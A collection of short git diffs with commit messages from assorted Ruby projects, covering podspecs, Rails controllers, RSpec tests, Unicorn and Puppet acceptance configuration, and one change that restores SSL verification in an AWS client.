diff --git a/lib/stacker/region.rb b/lib/stacker/region.rb index abc1234..def5678 100644 --- a/lib/stacker/region.rb +++ b/lib/stacker/region.rb @@ -7,24 +7,24 @@ attr_reader :name, :defaults, :stacks, :templates_path def initialize(name, defaults, stacks, templates_path) - Stacker.logger.info "region name is: #{name}" + Stacker.logger.info "region name is: #{name}" @name = name @defaults = defaults @stacks = stacks.map do |options| begin Stack.new self, options.fetch('name'), options rescue KeyError => err - Stacker.logger.fatal "Malformed YAML: #{err.message}" - exit 1 + Stacker.logger.fatal "Malformed YAML: #{err.message}" + exit 1 end end @templates_path = templates_path end - def client - Aws.config[:ssl_verify_peer] = false - @client ||= Aws::CloudFormation::Client.new region: name, retry_limit: 6 - return @client + def client + Aws.use_bundled_cert! + @client ||= Aws::CloudFormation::Client.new region: name, retry_limit: 6 + return @client end def GetStack name
Put back SSL verification on for aws-sdk
diff --git a/lib/tasks/events.rake b/lib/tasks/events.rake index abc1234..def5678 100644 --- a/lib/tasks/events.rake +++ b/lib/tasks/events.rake @@ -0,0 +1,16 @@+namespace :events do + desc 'Create demo data using our factories' + task fix_wrong_track: :environment do + events = Event.all.select { |e| e.track_id && Track.find_by(id: e.track_id).nil? } + puts "Will remove track_id from #{ActionController::Base.helpers.pluralize(events.length, 'event')}." + + if events.any? + puts "Event IDs: #{events.map(&:id)}" + events.each do |event| + event.track_id = nil + event.save! + end + puts 'All done!' + end + end +end
Add task to remove non-existent track_id from Event.
diff --git a/Formula/p0f.rb b/Formula/p0f.rb index abc1234..def5678 100644 --- a/Formula/p0f.rb +++ b/Formula/p0f.rb @@ -19,6 +19,6 @@ 'RAAAAAIAAABFAABAbvpAAEAGAAB/AAABfwAAAcv8Iyjt2/Pg' \ 'AAAAALAC///+NAAAAgQ/2AEDAwQBAQgKCyrc9wAAAAAEAgAA' (testpath / 'test.pcap').write(Base64.decode64(pcap)) - system "#{sbin}/p0f", '-r', "#{testpath}/test.pcap" + system "#{sbin}/p0f", '-r', 'test.pcap' end end
Use relative path to test file Reverted last commits use of the full path to the test file. The executable is tested from within the `testpath`, so it's unnecessary.
diff --git a/lib/planning_center/client.rb b/lib/planning_center/client.rb index abc1234..def5678 100644 --- a/lib/planning_center/client.rb +++ b/lib/planning_center/client.rb @@ -31,7 +31,10 @@ private def default_headers - { 'content-type' => 'application/json' } + { + 'content-type' => 'application/json', + 'accept' => 'application/json' + } end def oauth
Add 'application/json' Accept header to requests
diff --git a/lib/geodata.rb b/lib/geodata.rb index abc1234..def5678 100644 --- a/lib/geodata.rb +++ b/lib/geodata.rb @@ -11,7 +11,11 @@ def self.serialize_country(country) {code: country.code, name: country.name, - subregions: country.subregions.map { |subregion| [subregion.code, subregion.name] }.to_h} + subregions: included_subregions(country).sort_by(&:name).map { |subregion| [subregion.code, subregion.name] }.to_h} + end + + def self.included_subregions(country) + country.code == 'US' ? country.subregions.reject { |subregion| subregion.type == 'apo' } : country.subregions end def self.sorted_countries(priority = []) @@ -21,4 +25,4 @@ def self.all_countries Carmen::Country.all end -end+end
Fix sorting and inclusion of subregions in Geodata class.
diff --git a/RxBluetoothKit.podspec b/RxBluetoothKit.podspec index abc1234..def5678 100644 --- a/RxBluetoothKit.podspec +++ b/RxBluetoothKit.podspec @@ -16,7 +16,6 @@ s.ios.deployment_target = '8.0' s.osx.deployment_target = '10.10' - s.platform = :ios, '8.0' s.requires_arc = true s.source_files = 'Source/*.swift'
Remove iOS platform specification from podspec
diff --git a/spec/integration/subscribing_to_repos_spec.rb b/spec/integration/subscribing_to_repos_spec.rb index abc1234..def5678 100644 --- a/spec/integration/subscribing_to_repos_spec.rb +++ b/spec/integration/subscribing_to_repos_spec.rb @@ -6,9 +6,9 @@ include JSONHelper it "given a list of repos to subscribe to, fetches them from GitHub then sends back all recent unique committers" do + pending "Not implemented yet" + EM.run { - pending - Gitlactica::Application.run mock_github_api('localhost', 3333) @@ -32,6 +32,7 @@ from_json(json).should == { event: "committers", data: { + repo: "garybernhardt/raptor", committers: [ { login: "garybernhardt" }, { login: "tmiller" },
Include the repo's name in the "committers" event JSON
diff --git a/MCHTTPRequestLogger.podspec b/MCHTTPRequestLogger.podspec index abc1234..def5678 100644 --- a/MCHTTPRequestLogger.podspec +++ b/MCHTTPRequestLogger.podspec @@ -0,0 +1,15 @@+Pod::Spec.new do |s| + s.name = 'MCHTTPRequestLogger' + s.version = '0.5.0' + s.license = 'BSD 3-Clause' + s.summary = 'Output HTTP requests made with AFNetworking in the debug console.' + s.homepage = 'https://github.com/mirego/MCHTTPRequestLogger' + s.authors = { 'Mirego, Inc.' => 'info@mirego.com' } + s.source = { :git => 'https://github.com/mirego/MCHTTPRequestLogger.git', :tag => '0.5.0' } + s.source_files = 'MCHTTPRequestLogger.{h,m}' + s.requires_arc = true + s.ios.deployment_target = '5.0' + s.osx.deployment_target = '10.7' + + s.dependency 'AFNetworking', '>= 1.0' +end
Add a pod specification file.
diff --git a/app/controllers/clubs_controller.rb b/app/controllers/clubs_controller.rb index abc1234..def5678 100644 --- a/app/controllers/clubs_controller.rb +++ b/app/controllers/clubs_controller.rb @@ -1,6 +1,10 @@ class ClubsController < ApplicationController - before_filter :authenticate_user! + before_filter :authenticate_user!, :except => [ :show ] before_filter :get_club + + def show + redirect_to club_sales_page_path(@club) unless user_signed_in? and can?(:read, @club) + end def edit authorize! :update, @club
Add show Action to Clubs Controller Update the Clubs controller to include a show action.
diff --git a/app/controllers/lists_controller.rb b/app/controllers/lists_controller.rb index abc1234..def5678 100644 --- a/app/controllers/lists_controller.rb +++ b/app/controllers/lists_controller.rb @@ -8,6 +8,8 @@ end def create + @list = List.create(list_params) + redirect_to lists_path end def edit @@ -21,4 +23,9 @@ def destroy end + + private + def list_params + params.require(:list).permit(:name) + end end
Set proper redirect after List creation
diff --git a/app/controllers/repos_controller.rb b/app/controllers/repos_controller.rb index abc1234..def5678 100644 --- a/app/controllers/repos_controller.rb +++ b/app/controllers/repos_controller.rb @@ -21,7 +21,7 @@ @result_type ||= commit.benchmark_runs.first.category commit.benchmark_runs.where(category: @result_type).each do |benchmark_run| - commits_sha1s << commit.sha1[0..4] + commits_sha1s << "Commit: #{commit.sha1[0..4]}" benchmark_run.result.each do |key, value| commits_data[key] ||= [key]
Add label for Commit SHA1 in graph.
diff --git a/app/controllers/stats_controller.rb b/app/controllers/stats_controller.rb index abc1234..def5678 100644 --- a/app/controllers/stats_controller.rb +++ b/app/controllers/stats_controller.rb @@ -19,7 +19,7 @@ else @subtitle = "stats overview" @version = @rubygem.versions.most_recent - @versions = @rubygem.versions.limit(5) + @versions = @rubygem.versions.with_indexed.by_position.limit(5) @downloads_today = Download.today(@rubygem.versions) @rank = Download.highest_rank(@rubygem.versions) end
Sort the versions on the graph properly
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb index abc1234..def5678 100644 --- a/app/controllers/users_controller.rb +++ b/app/controllers/users_controller.rb @@ -1,14 +1,4 @@ class UsersController < ApplicationController - def new - end - - def create - - end - - def index - end - def show @user = User.find(1) end
Add users show, eliminate empty routes in users controller
diff --git a/spec/models/attachment_spec.rb b/spec/models/attachment_spec.rb index abc1234..def5678 100644 --- a/spec/models/attachment_spec.rb +++ b/spec/models/attachment_spec.rb @@ -3,7 +3,23 @@ RSpec.describe Attachment do let(:attachment) { build(:attachment) } + it { should belong_to(:attachable) } + it { should belong_to(:story) } + it { should belong_to(:owner) } + + it { should validate_presence_of(:owner_id) } + it "must be valid" do expect(attachment).to be_valid end + + describe "#extension" do + let(:image) { build(:attachment, file_name: "white-russian.JPG") } + let(:video) { build(:attachment, file_name: "film.mov") } + + it "returns the file extension" do + expect(image.extension).to eq("jpg") + expect(video.extension).to eq("mov") + end + end end
Add some more tests for attachments
diff --git a/spec/spec_helper_acceptance.rb b/spec/spec_helper_acceptance.rb index abc1234..def5678 100644 --- a/spec/spec_helper_acceptance.rb +++ b/spec/spec_helper_acceptance.rb @@ -1,27 +1,8 @@ require 'beaker-rspec/spec_helper' require 'beaker-rspec/helpers/serverspec' +require 'beaker/puppet_installer_helper' -unless ENV['RS_PROVISION'] == 'no' - # This will install the latest available package on el and deb based - # systems fail on windows and osx, and install via gem on other *nixes - foss_opts = { - :default_action => 'gem_install', - :version => (ENV['PUPPET_VERSION'] || '3.8.1'), - } - - if default.is_pe?; then - install_pe; - else - install_puppet(foss_opts); - end - - hosts.each do |host| - if host['platform'] =~ /debian/ - on host, 'echo \'export PATH=/var/lib/gems/1.8/bin/:${PATH}\' >> ~/.bashrc' - on host, "mkdir -p #{host['distmoduledir']}" - end - end -end +run_puppet_install_helper RSpec.configure do |c| # Project root
Add helper to install puppet/pe/puppet-agent
diff --git a/spec/spec_helper_acceptance.rb b/spec/spec_helper_acceptance.rb index abc1234..def5678 100644 --- a/spec/spec_helper_acceptance.rb +++ b/spec/spec_helper_acceptance.rb @@ -4,18 +4,17 @@ require 'beaker/module_install_helper' run_puppet_install_helper unless ENV['BEAKER_provision'] == 'no' -install_ca_certs unless ENV['PUPPET_INSTALL_TYPE'] =~ %r{pe}i -install_module_on(hosts) -install_module_dependencies_on(hosts) RSpec.configure do |c| + # Readable test descriptions c.formatter = :documentation + # Configure all nodes in nodeset c.before :suite do + install_module + install_module_dependencies + hosts.each do |host| - if host[:platform] =~ %r{el-7-x86_64} && host[:hypervisor] =~ %r{docker} - on(host, "sed -i '/nodocs/d' /etc/yum.conf") - end next unless fact('os.name') == 'Debian' && fact('os.release.major') == '8' on host, 'echo "deb http://archive.debian.org/debian jessie-backports main" > /etc/apt/sources.list.d/backports.list' on host, 'echo \'Acquire::Check-Valid-Until "false";\' > /etc/apt/apt.conf.d/check-valid'
Clean up acceptance spec helper
diff --git a/test/test_1_8_fallbacks.rb b/test/test_1_8_fallbacks.rb index abc1234..def5678 100644 --- a/test/test_1_8_fallbacks.rb +++ b/test/test_1_8_fallbacks.rb @@ -2,6 +2,10 @@ # Tests that verify that on 1.8 versions of ruby, simplecov simply # does not launch and does not cause errors on the way +# +# TODO: This should be expanded upon all methods that could potentially +# be called in a test/spec-helper simplecov config block +# class Test18FallBacks < Test::Unit::TestCase on_ruby '1.8' do should "return false when calling SimpleCov.start" do @@ -15,5 +19,15 @@ should "return false when calling SimpleCov.configure with a block" do assert_equal false, SimpleCov.configure { raise "Shouldn't reach this!?" } end + + should "allow to define an adapter" do + begin + SimpleCov.adapters.define 'testadapter' do + add_filter '/config/' + end + rescue => err + assert false, "Adapter definition should have been fine, but raised #{err}" + end + end end end
Make sure adapter definitions go through on 1.8
diff --git a/Layout.podspec b/Layout.podspec index abc1234..def5678 100644 --- a/Layout.podspec +++ b/Layout.podspec @@ -0,0 +1,16 @@+Pod::Spec.new do |s| + s.name = 'Layout' + s.version = "1.0.0" + s.summary = "Elegant view layout for iOS :leaves:" + s.homepage = "https://github.com/s4cha/Stevia" + s.license = { :type => "MIT", :file => "LICENSE" } + s.author = 'S4cha' + s.platform = :ios + s.source = { :git => "https://github.com/s4cha/Stevia.git", + :tag => s.version.to_s } + s.social_media_url = 'https://twitter.com/sachadso' + s.source_files = "Stevia/Stevia/Stevia/Source/*.swift" + s.requires_arc = true + s.ios.deployment_target = "8.0" + s.description = "Elegant view layout for iOS :leaves: - Auto layout code finally readable by a human being" +end
Add .podspec for cocoapods support
diff --git a/lib/generators/rails/scaffold_controller_generator.rb b/lib/generators/rails/scaffold_controller_generator.rb index abc1234..def5678 100644 --- a/lib/generators/rails/scaffold_controller_generator.rb +++ b/lib/generators/rails/scaffold_controller_generator.rb @@ -6,7 +6,7 @@ class ScaffoldControllerGenerator source_paths << File.expand_path('../templates', __FILE__) - hook_for :jbuilder, default: true + hook_for :jbuilder, type: :boolean, default: true end end end
Set proper type for jbuilder option to prevent a warning with Thor >= 0.19.3 See https://github.com/erikhuda/thor/pull/435, right now we got a warning >Expected string default value for '--jbuilder'; got true (boolean)
diff --git a/config/unicorn.rb b/config/unicorn.rb index abc1234..def5678 100644 --- a/config/unicorn.rb +++ b/config/unicorn.rb @@ -1,8 +1,23 @@ # config/unicorn.rb -if ENV["RAILS_ENV"] == "development" - worker_processes 1 -else - worker_processes 3 +worker_processes Integer(ENV["WEB_CONCURRENCY"] || 3) +timeout 15 +preload_app true + +before_fork do |server, worker| + Signal.trap 'TERM' do + puts 'Unicorn master intercepting TERM and sending myself QUIT instead' + Process.kill 'QUIT', Process.pid + end + + defined?(ActiveRecord::Base) and + ActiveRecord::Base.connection.disconnect! end -timeout 30+after_fork do |server, worker| + Signal.trap 'TERM' do + puts 'Unicorn worker intercepting TERM and doing nothing. Wait for master to send QUIT' + end + + defined?(ActiveRecord::Base) and + ActiveRecord::Base.establish_connection +end
Set up Unicorn as production server
diff --git a/UIImage-Resize.podspec b/UIImage-Resize.podspec index abc1234..def5678 100644 --- a/UIImage-Resize.podspec +++ b/UIImage-Resize.podspec @@ -0,0 +1,16 @@+Pod::Spec.new do |s| + s.name = "UIImage-Resize" + s.version = "0.1.0" + s.summary = "UIImage-Resize" + s.homepage = "https://github.com/vokal/UIImage-Resize" + s.license = { :file => "LICENSE" } + s.author = { "Vokal" => "hello@vokal.io" } + s.source = { :git => "https://github.com/vokal/UIImage-Resize.git", :tag => s.version.to_s } + + s.platform = :ios, '7.0' + s.requires_arc = true + + s.source_files = [ + '*.{h,m}', + ] +end
Insert minimal podspec file to allow inclusion via Cocoapods
diff --git a/lib/haml/helpers/safe_erubis_template.rb b/lib/haml/helpers/safe_erubis_template.rb index abc1234..def5678 100644 --- a/lib/haml/helpers/safe_erubis_template.rb +++ b/lib/haml/helpers/safe_erubis_template.rb @@ -10,7 +10,7 @@ end def precompiled_preamble(locals) - [super, "@output_buffer = output_buffer ||= nil || ActionView::OutputBuffer.new;"] + [super, "@output_buffer = ActionView::OutputBuffer.new"] end def precompiled_postamble(locals)
Fix the :erb filter in rails. Fixes #654
diff --git a/lib/tasks/code_quality_html_reports.rake b/lib/tasks/code_quality_html_reports.rake index abc1234..def5678 100644 --- a/lib/tasks/code_quality_html_reports.rake +++ b/lib/tasks/code_quality_html_reports.rake @@ -8,8 +8,12 @@ tsk.fail_on_error = false end + task :rubycritic_html do + sh 'rubycritic app lib -p public/reports/ruby_critic --no-browser --format html' + end + task :html do puts 'Generating html reports...' - %w(rubocop_html).each { |task| Rake::Task["pc_reports:#{task}"].invoke } + %w(rubocop_html rubycritic_html).each { |task| Rake::Task["pc_reports:#{task}"].invoke } end end
Add rake task for rubicritic rake task
diff --git a/lib/tasks/mail/if_gem_version_stale.rake b/lib/tasks/mail/if_gem_version_stale.rake index abc1234..def5678 100644 --- a/lib/tasks/mail/if_gem_version_stale.rake +++ b/lib/tasks/mail/if_gem_version_stale.rake @@ -5,14 +5,14 @@ task :if_gem_version_stale do message = "" puts "checking the installed fdic version to see if it's latest" - if GemVersionValidator.fdic_latest? + unless GemVersionValidator.fdic_latest? message += "FDIC out of date, upgrade it\n" end puts "checking the installed ncua version to see if it's latest" - if GemVersionValidator.ncua_latest? + unless GemVersionValidator.ncua_latest? message += "NCUA out of date, upgrade it\n" end - if !message.empty? + unless message.empty? Mailer.send("engineering+fdic_ncua_gems_need_bundling@continuity.net", "Gems on api_schema_validator are out of date", message)
Fix logic bug wherein the app emailed if the gem version is the latest.
diff --git a/Tabman.podspec b/Tabman.podspec index abc1234..def5678 100644 --- a/Tabman.podspec +++ b/Tabman.podspec @@ -3,7 +3,7 @@ s.name = "Tabman" s.platform = :ios, "9.0" s.requires_arc = true - s.swift_version = "4.2" + s.swift_version = "4.0" s.version = "2.4.1" s.summary = "A powerful paging view controller with indicator bar."
Fix Swift version in podspec
diff --git a/app/controllers/tagger_controller.rb b/app/controllers/tagger_controller.rb index abc1234..def5678 100644 --- a/app/controllers/tagger_controller.rb +++ b/app/controllers/tagger_controller.rb @@ -14,7 +14,7 @@ session[:guid] ||= SecureRandom.uuid # Save tag to db - Tag.new(:session_id => session[:guid], :data => params[:data]).save + Tag.new(:session_id => session[:guid], :data => params[:content]).save # TODO - send data to LRI
Update controller to accept :content from js to db
diff --git a/active_interaction.gemspec b/active_interaction.gemspec index abc1234..def5678 100644 --- a/active_interaction.gemspec +++ b/active_interaction.gemspec @@ -6,8 +6,8 @@ Gem::Specification.new do |spec| spec.name = 'active_interaction' spec.version = ActiveInteraction::VERSION - spec.authors = ['Aaron Lasseigne'] - spec.email = ['aaron.lasseigne@gmail.com'] + spec.authors = ['Aaron Lasseigne', 'Taylor Fausak'] + spec.email = ['aaron.lasseigne@gmail.com', 'taylor@orgsync.com'] spec.description = %q{TODO: Write a gem description} spec.summary = %q{TODO: Write a gem summary} spec.homepage = 'https://github.com/orgsync/active_interaction'
Add myself as an author
diff --git a/spec/blimp/sources/disk_source_spec.rb b/spec/blimp/sources/disk_source_spec.rb index abc1234..def5678 100644 --- a/spec/blimp/sources/disk_source_spec.rb +++ b/spec/blimp/sources/disk_source_spec.rb @@ -33,7 +33,7 @@ it "should not allow access to hidden directories" do expect { - source.get_dir("./hidden_dir") + source.get_dir("/.hidden_dir") }.to raise_error(SourceDir::NotFound) end
Fix minor bug in spec
diff --git a/app/workers/update_head_pipeline_for_merge_request_worker.rb b/app/workers/update_head_pipeline_for_merge_request_worker.rb index abc1234..def5678 100644 --- a/app/workers/update_head_pipeline_for_merge_request_worker.rb +++ b/app/workers/update_head_pipeline_for_merge_request_worker.rb @@ -1,6 +1,8 @@ class UpdateHeadPipelineForMergeRequestWorker include ApplicationWorker include PipelineQueue + + queue_namespace :pipeline_processing def perform(merge_request_id) merge_request = MergeRequest.find(merge_request_id)
Change queue namespace of UpdateHeadPipelineForMergeRequestWorker
diff --git a/spec/models/skill_spec.rb b/spec/models/skill_spec.rb index abc1234..def5678 100644 --- a/spec/models/skill_spec.rb +++ b/spec/models/skill_spec.rb @@ -27,4 +27,31 @@ skill = create(:skill) expect { skill.destroy }.to change(Skill, :count).by(-1) end + + describe "merged" do + before(:each) do + @skill_1 = create(:skill) + @user_1 = create(:user, skills: [@skill_1]) + @skill_2 = create(:skill) + @user_2 = create(:user, skills: [@skill_2]) + end + + it "should destroy the first language" do + expect { @skill_1.merge(@skill_2) }.to change(Language, :count).by(-1) + end + + it "should not destroy the second language" do + @skill_1.merge(@skill_2) + expect(Language.last).to eq(@skill_2) + end + + it "should not change a users number of skills (if she don't have both)" do + expect { @skill_1.merge(@skill_2) }.to change(@user_1.skills, :count).by(0) + end + + it "should change a users number of skills (if she has both)" do + @user_1.skills << @skill_2 + expect { @skill_1.merge(@skill_2) }.to change(@user_1.skills, :count).by(-1) + end + end end
Test cases for merging skills
diff --git a/spec/movie_filter_spec.rb b/spec/movie_filter_spec.rb index abc1234..def5678 100644 --- a/spec/movie_filter_spec.rb +++ b/spec/movie_filter_spec.rb @@ -1,17 +1,28 @@+require 'ostruct' +require 'imdb' + require_relative '../lib/movie_filter' RSpec.describe 'MovieFilter' do + let(:filtered) do + no_poster = OpenStruct.new + poster = OpenStruct.new + poster.poster = 'http://example.com' + + movies = [ no_poster, no_poster ] + (1..20).each do + movies.push(poster) + end + + movie_filter = MovieFilter.new(movies) + movie_filter.filter(10) + end + it 'returns the correct amount of movies' do - movies = [] - movie_filter = MovieFilter.new(movies) - filtered = movie_filter.filter(10) expect(filtered.size).to eq(10) end it 'removes movies without posters' do - movies = [] - movie_filter = MovieFilter.new(movies) - filtered = movie_filter.filter(10) filtered.each do |movie| expect(movie.poster).not_to be_nil end
Use `let` to set up filtered array Populate using OpenScruct instances with and without posters.
diff --git a/app/models/spree/option_value_decorator.rb b/app/models/spree/option_value_decorator.rb index abc1234..def5678 100644 --- a/app/models/spree/option_value_decorator.rb +++ b/app/models/spree/option_value_decorator.rb @@ -1,5 +1,7 @@ Spree::OptionValue.class_eval do - scope :for_product, lambda { |product| select("DISTINCT #{table_name}.*").where("spree_option_values_variants.variant_id IN (?)", product.variants_including_master.map(&:id)).joins(:variants) } + scope :for_product, ->(product){ + joins(:variants).where('spree_variants.product_id' => product.try(:id)).uniq + } end
Use a database join to get products' variants, reducing round trips.
diff --git a/app/presenters/money_question_presenter.rb b/app/presenters/money_question_presenter.rb index abc1234..def5678 100644 --- a/app/presenters/money_question_presenter.rb +++ b/app/presenters/money_question_presenter.rb @@ -6,7 +6,7 @@ end def hint_text - text = [body, suffix_label].reject(&:blank?).compact.join(", ") + text = [body, hint, suffix_label].reject(&:blank?).compact.join(", ") ActionView::Base.full_sanitizer.sanitize(text) end end
Add hint text to money questions Previously all money questions had a default hint-text of `in £` https://github.com/alphagov/smart-answers/pull/4150/commits/dfa0742c44874c4abbcf363451be86f7c9a8e607 This was recently removed for content clarity https://github.com/alphagov/smart-answers/commit/cc7fb3a11b028fa0c6a125d24c9891cda32d6e94#diff-b627e4f8bfa513f82bdc12cb0d7e22d7 Money questions currently render no hint text. This change ensures that, should a money question have custom hint text, it will be correctly rendered.
diff --git a/app/serializers/task_comment_serializer.rb b/app/serializers/task_comment_serializer.rb index abc1234..def5678 100644 --- a/app/serializers/task_comment_serializer.rb +++ b/app/serializers/task_comment_serializer.rb @@ -1,5 +1,5 @@ class TaskCommentSerializer < ActiveModel::Serializer - attributes :id, :comment, :created_at, :comment_by + attributes :id, :comment, :created_at, :comment_by, :recipient_id, :is_new def comment_by object.user.name
NEW: Add recipient_id and is_new to comment serializer
diff --git a/test/fixtures/cookbooks/perl_test/metadata.rb b/test/fixtures/cookbooks/perl_test/metadata.rb index abc1234..def5678 100644 --- a/test/fixtures/cookbooks/perl_test/metadata.rb +++ b/test/fixtures/cookbooks/perl_test/metadata.rb @@ -1,3 +1,5 @@ name 'perl_test' version '0.0.1' + depends 'perl' +depends 'build-essential'
Revert "The test recipe doesn’t need build-essential" This reverts commit 790106d85b77cdc269785e4f14b33936d7eea998.
diff --git a/raygun_client.gemspec b/raygun_client.gemspec index abc1234..def5678 100644 --- a/raygun_client.gemspec +++ b/raygun_client.gemspec @@ -1,7 +1,7 @@ # -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = 'raygun_client' - s.version = '0.1.6' + s.version = '0.1.7' s.summary = 'Client for the Raygun API using the Obsidian HTTP client' s.description = ' '
Package version increased from 0.1.6 to 0.1.7
diff --git a/app/cells/checkout_cell.rb b/app/cells/checkout_cell.rb index abc1234..def5678 100644 --- a/app/cells/checkout_cell.rb +++ b/app/cells/checkout_cell.rb @@ -3,8 +3,7 @@ MONTH_NAMES = %w(January Febuary March April May June July August September October November December).freeze MONTHS = MONTH_NAMES.each_with_index.map do |m, i| index = i + 1 - month = index < 10 ? "0#{index}" : index - ["#{month} - #{m}", month] + ["#{index} - #{m}", index] end.freeze def basket(order)
Fix the selection of months on the payment view.
diff --git a/app/controllers/sms.rb b/app/controllers/sms.rb index abc1234..def5678 100644 --- a/app/controllers/sms.rb +++ b/app/controllers/sms.rb @@ -3,7 +3,7 @@ end post '/sms' do - tip = Tips.find(rand(1..(Tips.all.length))) + tip = Tip.find(rand(1..(Tips.all.length))) msg = "Envirotip:" + tip
Remove s from Tips method
diff --git a/config.ru b/config.ru index abc1234..def5678 100644 --- a/config.ru +++ b/config.ru @@ -7,7 +7,9 @@ config.path_prefix = "/shutterbug" # use heroku app for now. Uncomment to use local file server. config.uri_prefix = "http://shutterbug.herokuapp.com/" - config.resource_dir = File.expand_path('../public/snapshots', __FILE__) + # or a locally hosted server for debugging … + # config.uri_prefix = "http://localhost:5000" + # config.resource_dir = File.expand_path('../public/snapshots', __FILE__) end run LightweightStandalone::Application
Add some comments about how to run with local instance of snapshot server.
diff --git a/app/models/bookmark.rb b/app/models/bookmark.rb index abc1234..def5678 100644 --- a/app/models/bookmark.rb +++ b/app/models/bookmark.rb @@ -1,4 +1,6 @@ class Bookmark < ApplicationRecord has_many :bookmark_tags has_many :tags, through: :bookmark_tags + + enum source_type: { "Post" => 0, "Publication" => 1, "Video" => 2, "Thread" => 3, "Other" => 4} end
Add enum source_type in Bookmark model
diff --git a/app/models/question.rb b/app/models/question.rb index abc1234..def5678 100644 --- a/app/models/question.rb +++ b/app/models/question.rb @@ -4,6 +4,8 @@ has_many :votes, as: :votable has_many :comments, as: :commentable + validates :title, :content, :user_id, presence: true + def to_param "#{id}-#{title.parameterize}" end
Add validations to Question model
diff --git a/app/models/response.rb b/app/models/response.rb index abc1234..def5678 100644 --- a/app/models/response.rb +++ b/app/models/response.rb @@ -2,6 +2,7 @@ belongs_to :responder, class_name: :User belongs_to :respondable, polymorphic: true has_many :votes, as: :votable + validates :content, presence: true def responder_name user = User.find(self.responder_id)
Add validation to make repsonse content mandatory
diff --git a/app/mailers/user_mailer.rb b/app/mailers/user_mailer.rb index abc1234..def5678 100644 --- a/app/mailers/user_mailer.rb +++ b/app/mailers/user_mailer.rb @@ -2,7 +2,7 @@ def welcome_email(user, organization) with_locale(user, organization) do organization_name = organization.display_name || t(:your_new_organization) - build_email t(:welcome, name: organization_name), { inline: organization.welcome_email_template } + build_email t(:welcome, name: organization_name), { inline: organization.welcome_email_template }, from: organization.welcome_email_sender end end @@ -28,10 +28,10 @@ private - def build_email(subject, template) - mail to: @user.email, - subject: subject, - content_type: 'text/html', - body: render(template) + def build_email(subject, template, options = {}) + mail options.compact.merge(to: @user.email, + subject: subject, + content_type: 'text/html', + body: render(template)) end end
Add custom from for welcome_email
diff --git a/app/models/user_session.rb b/app/models/user_session.rb index abc1234..def5678 100644 --- a/app/models/user_session.rb +++ b/app/models/user_session.rb @@ -1,6 +1,7 @@ class UserSession < Authlogic::Session::Base - consecutive_failed_logins_limit 5 + consecutive_failed_logins_limit 6 + failed_login_ban_for 3.hours # TODO think about removing timeout or make it optional with possibility to # set value, with hight default value smth like 40 minutes. self.logout_on_timeout = true unless Rails.env.development?
Increase failed login count to 6 Change-Id: I44d0b6a06e9f97b9cd3f51056af1c11c8fbcc47f
diff --git a/deathmax_parse.rb b/deathmax_parse.rb index abc1234..def5678 100644 --- a/deathmax_parse.rb +++ b/deathmax_parse.rb @@ -14,4 +14,36 @@ response["header-here"] # All headers are lowercase unit_list = JSON.parse(response.body) -puts unit_list.first + +unit_array = [] + +unit_list.each do |unit_id, unit_hash| + unit_array << { + id: unit_id, + stars: "*" * unit_hash['evo_rarity'], + thumbnail_url: "http://2.cdn.bravefrontier.gumi.sg/content/unit/img/unit_ills_thum_#{unit_id}.png", + text: unit_hash['name'], + cost: unit_hash['amount'], + materials: unit_hash['mats'] + } +end + +puts unit_array + +#{ +# "amount"=>200000, +# "evo_name"=>"Mech Cannon Grybe", +# "evo_rarity"=>5, +# "mats"=>["Thunder Totem", "Thunder Idol", "Thunder Idol", "Thunder Pot", "Thunder Pot"], +# "name"=>"Mech Arms Grybe", +# "rarity"=>4 +#} +# +#{ +# id: 0, +# stars: "**", +# thumbnail_url: "http://img3.wikia.nocookie.net/__cb20131008160641/bravefrontierglobal/images/thumb/f/f4/Unit_ills_thum_10011.png/42px-Unit_ills_thum_10011.png", +# text: "Fencer Vargas", +# cost: "2,500", +# materials: ["Fire Nymph"] +#},
Use deathmax's evomats json for data instead of scraping wiki
diff --git a/test/support/integration_case.rb b/test/support/integration_case.rb index abc1234..def5678 100644 --- a/test/support/integration_case.rb +++ b/test/support/integration_case.rb @@ -9,6 +9,10 @@ private + def aggregate + Metrics::Rails.aggregate + end + def counters Metrics::Rails.counters end
Add aggregate access shortcut method for integration tests.
diff --git a/APAddressBook.podspec b/APAddressBook.podspec index abc1234..def5678 100644 --- a/APAddressBook.podspec +++ b/APAddressBook.podspec @@ -1,6 +1,6 @@ Pod::Spec.new do |s| s.name = "APAddressBook" - s.version = "0.1.12" + s.version = "0.1.11" s.summary = "Easy access to iOS address book" s.homepage = "https://github.com/Alterplay/APAddressBook" s.license = { :type => 'MIT', :file => 'LICENSE.txt' }
Revert "update pod spec to 0.1.12" This reverts commit 5d0af5d00e711d27baefac1e5f19fd36e55a63a9.
diff --git a/haproxy_log_parser.gemspec b/haproxy_log_parser.gemspec index abc1234..def5678 100644 --- a/haproxy_log_parser.gemspec +++ b/haproxy_log_parser.gemspec @@ -12,7 +12,7 @@ s.add_development_dependency 'rspec', '~> 3.5.0' s.files = Dir.glob('lib/**/*') + [ - 'README.rdoc', + 'README.md', 'VERSION', 'haproxy_log_parser.gemspec' ]
Change gemspec to contain README.md
diff --git a/app/domain/entities/week.rb b/app/domain/entities/week.rb index abc1234..def5678 100644 --- a/app/domain/entities/week.rb +++ b/app/domain/entities/week.rb @@ -8,13 +8,13 @@ def get_day_of_week case @id - when 1 then 'Domingo' - when 2 then 'Segunda' - when 3 then 'Terça' - when 4 then 'Quarta' - when 5 then 'Quinta' - when 6 then 'Sexta' - when 7 then 'Sábado' + when 1 then I18n.t('week.sunday') + when 2 then I18n.t('week.monday') + when 3 then I18n.t('week.tuesday') + when 4 then I18n.t('week.wednesday') + when 5 then I18n.t('week.thursday') + when 6 then I18n.t('week.friday') + when 7 then I18n.t('week.saturday') end end
Adjust in Week entity to implement translate
diff --git a/chef/cookbooks/ccdc/recipes/cron.rb b/chef/cookbooks/ccdc/recipes/cron.rb index abc1234..def5678 100644 --- a/chef/cookbooks/ccdc/recipes/cron.rb +++ b/chef/cookbooks/ccdc/recipes/cron.rb @@ -5,8 +5,8 @@ day options[:day] || "*" month options[:month] || "*" weekday options[:weekday] || "*" - command options[:command] user options[:user] || node[:apps_user] + command "source /home/#{user}/.bash_profile && #{options[:command]}" end end
Add source .bash_profile to commands
